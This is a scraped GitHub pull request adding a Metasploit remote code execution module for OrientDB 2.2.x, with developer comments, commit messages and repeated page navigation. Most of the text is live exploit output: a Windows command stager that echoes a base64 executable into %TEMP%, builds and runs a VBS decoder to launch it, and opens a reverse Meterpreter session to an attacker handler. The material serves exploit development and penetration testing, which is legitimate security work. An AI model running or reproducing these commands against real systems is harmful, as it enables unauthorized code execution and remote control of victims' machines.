{"result":[{"@type":"d","@version":0,"value":"java.lang.ProcessImpl@cd80a47"}]}
[*] Command Stager progress -  96.39% done (98208/101881 bytes)
HTTP/1.1 400 Bad request
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Date: Wed, 26 Jul 2017 11:41:45 UTC
Content-Type: application/json; charset=utf-8
Server: OrientDB Server v.2.2.20 (build 76ab59e72943d0ba196188ed100c882be4315139)
Connection: Keep-Alive
Set-Cookie: OSESSIONID=OS1501069305041-2427343601360616526; Path=/; HttpOnly
Content-Length: 480

{
  "errors": [
    {
      "code": 400,
      "reason": "Bad request",
      "content": "Error on parsing script at position #0: Error on execution of the script\u000aScript: aivqe\u000a------^\u000d\u000a\u0009DB name=\"GratefulDeadConcerts\"\u000aorg.codehaus.groovy.runtime.InvokerInvocationException: java.io.IOException: invalid null character in command\u000ajava.io.IOException: invalid null character in command\u000ainvalid null character in command"
    }
  ]
}
[*] Command Stager progress -  98.40% done (100252/101881 bytes)
HTTP/1.1 400 Bad request
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Date: Wed, 26 Jul 2017 11:41:45 UTC
Content-Type: application/json; charset=utf-8
Server: OrientDB Server v.2.2.20 (build 76ab59e72943d0ba196188ed100c882be4315139)
Connection: Keep-Alive
Set-Cookie: OSESSIONID=OS1501069305337-7277664833240349614; Path=/; HttpOnly
Content-Length: 480

{
  "errors": [
    {
      "code": 400,
      "reason": "Bad request",
      "content": "Error on parsing script at position #0: Error on execution of the script\u000aScript: qvoui\u000a------^\u000d\u000a\u0009DB name=\"GratefulDeadConcerts\"\u000aorg.codehaus.groovy.runtime.InvokerInvocationException: java.io.IOException: invalid null character in command\u000ajava.io.IOException: invalid null character in command\u000ainvalid null character in command"
    }
  ]
}
[*] Command Stager progress - 100.00% done (101881/101881 bytes)
[*] Exploit completed, but no session was created.

…iting windows boxes

ricardojba · 2017-07-26T13:05:04Z

Yeah I really need to use send_request_raw. The send_request_cgi encoding breaks the HTTP requests somehow for windows boxes. Using send_request_raw the exploit works on both linux and windows.

ricardojba · 2017-08-28T10:06:07Z

Did you spot any more issues with the execution of the module?

h00die · 2017-10-06T10:35:27Z

@ricardojba i'll see if i can take a look at this today

h00die · 2017-10-06T18:12:38Z

Worked for me

msf > use exploit/multi/http/orientdb_exec 
msf exploit(orientdb_exec) > set rhost 2.2.2.2
rhost => 2.2.2.2
msf exploit(orientdb_exec) > set target 2
target => 2
msf exploit(orientdb_exec) > check

[+] Version: OrientDB Server v.2.2.20 (build 76ab59e72943d0ba196188ed100c882be4315139)
[+] 2.2.2.2:2480 The target is vulnerable.
msf exploit(orientdb_exec) > set verbose true
verbose => true
msf exploit(orientdb_exec) > exploit

[*] Started reverse TCP handler on 1.1.1.1:4444 
[*] 2.2.2.2:2480 - Sending command stager...
[*] Attempting to execute: echo TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA6AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAACTOPDW11mehddZnoXXWZ6FrEWShdNZnoVURZCF3lmehbhGlIXcWZ6FuEaahdRZnoXXWZ+FHlmehVRRw4XfWZ6Fg3quhf9ZnoUQX5iF1lmehVJpY2jXWZ6FAAAAAAAAAAAAAAAAAAAAAFBFAABMAQQAWNfbSQAAAAAAAAAA4AAPAQsBBgAAsAAAAKAAAAAAAAByMQAAABAAAADAAAAAAEAAABAAAAAQAAAEAAAAAAAAAAQAAAAAAAAAAGABAAAQAAAAAAAAAgAAAAAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAAbMcAAHgAAAAAUAEAyAcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAODBAAAcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAADgAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALnRleHQAAABmqQAAABAAAACwAAAAEAAAAAAAAAAAAAAAAAAAIAAAYC5yZGF0YQAA5g8AAADAAAAAEAAAAMAAAAAAAAAAAAAAAAAAAEAAAEAuZGF0YQAAAFxwAAAA0AAAAEAAAADQAAAAAAAAAAAAAAAAAABAAADALnJzcmMAAADIBwAAAFABAAAQAAAAEAEAAAAAAAAAAAAAAAAAQAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA>>%TEMP%\aAqsZ.b64
[*] Command Stager progress -   2.01% done (2046/101881 bytes)
[*] Attempting to execute: echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA>>%TEMP%\aAqsZ.b64
[*] Command Stager progress -   4.02% done (4092/101881 bytes)

...snip...

[*] Attempting to execute: echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAATkIxMAAAAAA2gMFKAQAAAEM6XGxvY2FsMFxhc2ZccmVsZWFzZVxidWlsZC0yLjIuMTRcc3VwcG9ydFxSZWxlYXNlXGFiLnBkYgA=>>%TEMP%\aAqsZ.b64 & echo Set fs = CreateObject("Scripting.FileSystemObject") >>%TEMP%\uFLQh.vbs & echo Set file = fs.GetFile("%TEMP%\aAqsZ.b64") >>%TEMP%\uFLQh.vbs & echo If file.Size Then >>%TEMP%\uFLQh.vbs & echo Set fd = fs.OpenTextFile("%TEMP%\aAqsZ.b64", 1) >>%TEMP%\uFLQh.vbs & echo data = fd.ReadAll >>%TEMP%\uFLQh.vbs & echo data = Replace(data, vbCrLf, "") >>%TEMP%\uFLQh.vbs & echo data = base64_decode(data) >>%TEMP%\uFLQh.vbs & echo fd.Close >>%TEMP%\uFLQh.vbs & echo Set ofs = CreateObject("Scripting.FileSystemObject").OpenTextFile("%TEMP%\tIzcO.exe", 2, True) >>%TEMP%\uFLQh.vbs & echo ofs.Write data >>%TEMP%\uFLQh.vbs & echo ofs.close >>%TEMP%\uFLQh.vbs & echo Set shell = CreateObject("Wscript.Shell") >>%TEMP%\uFLQh.vbs
[*] Command Stager progress -  98.40% done (100252/101881 bytes)
[*] Attempting to execute: echo shell.run "%TEMP%\tIzcO.exe", 0, false >>%TEMP%\uFLQh.vbs & echo Else >>%TEMP%\uFLQh.vbs & echo Wscript.Echo "The file is empty." >>%TEMP%\uFLQh.vbs & echo End If >>%TEMP%\uFLQh.vbs & echo Function base64_decode(byVal strIn) >>%TEMP%\uFLQh.vbs & echo Dim w1, w2, w3, w4, n, strOut >>%TEMP%\uFLQh.vbs & echo For n = 1 To Len(strIn) Step 4 >>%TEMP%\uFLQh.vbs & echo w1 = mimedecode(Mid(strIn, n, 1)) >>%TEMP%\uFLQh.vbs & echo w2 = mimedecode(Mid(strIn, n + 1, 1)) >>%TEMP%\uFLQh.vbs & echo w3 = mimedecode(Mid(strIn, n + 2, 1)) >>%TEMP%\uFLQh.vbs & echo w4 = mimedecode(Mid(strIn, n + 3, 1)) >>%TEMP%\uFLQh.vbs & echo If Not w2 Then _ >>%TEMP%\uFLQh.vbs & echo strOut = strOut + Chr(((w1 * 4 + Int(w2 / 16)) And 255)) >>%TEMP%\uFLQh.vbs & echo If  Not w3 Then _ >>%TEMP%\uFLQh.vbs & echo strOut = strOut + Chr(((w2 * 16 + Int(w3 / 4)) And 255)) >>%TEMP%\uFLQh.vbs & echo If Not w4 Then _ >>%TEMP%\uFLQh.vbs & echo strOut = strOut + Chr(((w3 * 64 + w4) And 255)) >>%TEMP%\uFLQh.vbs & echo Next >>%TEMP%\uFLQh.vbs & echo base64_decode = strOut >>%TEMP%\uFLQh.vbs & echo End Function >>%TEMP%\uFLQh.vbs & echo Function mimedecode(byVal strIn) >>%TEMP%\uFLQh.vbs & echo Base64Chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" >>%TEMP%\uFLQh.vbs & echo If Len(strIn) = 0 Then >>%TEMP%\uFLQh.vbs & echo mimedecode = -1 : Exit Function >>%TEMP%\uFLQh.vbs & echo Else >>%TEMP%\uFLQh.vbs & echo mimedecode = InStr(Base64Chars, strIn) - 1 >>%TEMP%\uFLQh.vbs & echo End If >>%TEMP%\uFLQh.vbs & echo End Function >>%TEMP%\uFLQh.vbs & cscript //nologo %TEMP%\uFLQh.vbs & del %TEMP%\uFLQh.vbs & del %TEMP%\aAqsZ.b64
[*] Command Stager progress - 100.00% done (101881/101881 bytes)
[*] Sending stage (956991 bytes) to 2.2.2.2
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:1422) at 2017-10-06 14:00:14 -0400

meterpreter > sysinfo
Computer        : WINXP
OS              : Windows XP (Build 2600, Service Pack 3).
Architecture    : x86
System Language : en_US
Domain          : GROUP
Logged On Users : 2
Meterpreter     : x86/windows
meterpreter >

h00die · 2017-10-06T18:37:33Z

Just a heads up that i did some ninja patching to the documentation since this had been in the queue for so long. See here: e7aa06c#diff-a2827c36764dd349af0d4cbb8ba31623

Thanks for the patience!

h00die · 2017-10-06T18:37:53Z

Release Notes

This module adds a remote code execution exploit for orientdb's web interface

Ricardo Almeida added 5 commits July 18, 2017 16:53

Orientdb 2.2.x RCE

99ba645

Orientdb 2.2.x RCE tidy stuff

af0a9c2

Orientdb 2.2.x RCE - Add warning about windows

5ca523e

Orientdb 2.2.x RCE - Changed the CmdStager flavor to VBS script

2199877

Orientdb 2.2.x RCE - Changed the java_craft_runtime_exec function; Te…

f3f96ba

…sted the module against Win7-Pro-x64 with OrientDB v2.2.20 with StagerCmd flavors vbs and certutil with success

bwatters-r7 added the needs-docs label Jul 19, 2017

Orientdb 2.2.x RCE - Add documentation

00a817d

bcoles added module and removed needs-docs labels Jul 23, 2017

bcoles reviewed Jul 23, 2017

View reviewed changes

Ricardo Almeida added 2 commits July 24, 2017 09:52

Orientdb 2.2.x RCE - Fine tune vulnerable version detection; removed …

6c22f78

…redundant uri normalization checking; Swapped send_request_raw for send_request_cgi; using vars_get;

Orientdb 2.2.x RCE - Update documentation

fe5c6dc

Orientdb 2.2.x RCE - Reverted to send_request_raw due to issues explo…

3066492

…iting windows boxes

Orientdb 2.2.x RCE - Fix regular expression for version detection

4845b4b

h00die self-assigned this Oct 6, 2017

h00die merged commit 4845b4b into rapid7:master Oct 6, 2017

h00die added a commit that referenced this pull request Oct 6, 2017

land #8736 RCE for orientdb

7535fe2

ricardojba deleted the Orientdb_RCE branch October 9, 2017 09:21

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

Add OrientDB 2.2.x RCE Module #8736

Add OrientDB 2.2.x RCE Module #8736

ricardojba commented Jul 18, 2017 •

edited by h00die

bcoles Jul 23, 2017

ricardojba Jul 24, 2017

bcoles Jul 23, 2017

ricardojba Jul 24, 2017

bcoles Jul 23, 2017

ricardojba Jul 24, 2017

bcoles commented Jul 26, 2017

ricardojba commented Jul 26, 2017 •

edited

ricardojba commented Aug 28, 2017

h00die commented Oct 6, 2017

h00die commented Oct 6, 2017

h00die commented Oct 6, 2017

h00die commented Oct 6, 2017

Add OrientDB 2.2.x RCE Module #8736

Add OrientDB 2.2.x RCE Module #8736

Conversation

ricardojba commented Jul 18, 2017 • edited by h00die

Vulnerable Application

Installation

References for running OrientDB

References for vulnerability

Verification Steps

Example Output

bcoles Jul 23, 2017

Choose a reason for hiding this comment

ricardojba Jul 24, 2017

Choose a reason for hiding this comment

bcoles Jul 23, 2017

Choose a reason for hiding this comment

ricardojba Jul 24, 2017

Choose a reason for hiding this comment

bcoles Jul 23, 2017

Choose a reason for hiding this comment

ricardojba Jul 24, 2017

Choose a reason for hiding this comment

bcoles commented Jul 26, 2017

ricardojba commented Jul 26, 2017 • edited

ricardojba commented Aug 28, 2017

h00die commented Oct 6, 2017

h00die commented Oct 6, 2017

h00die commented Oct 6, 2017

h00die commented Oct 6, 2017

Release Notes

ricardojba commented Jul 18, 2017 •

edited by h00die

ricardojba commented Jul 26, 2017 •

edited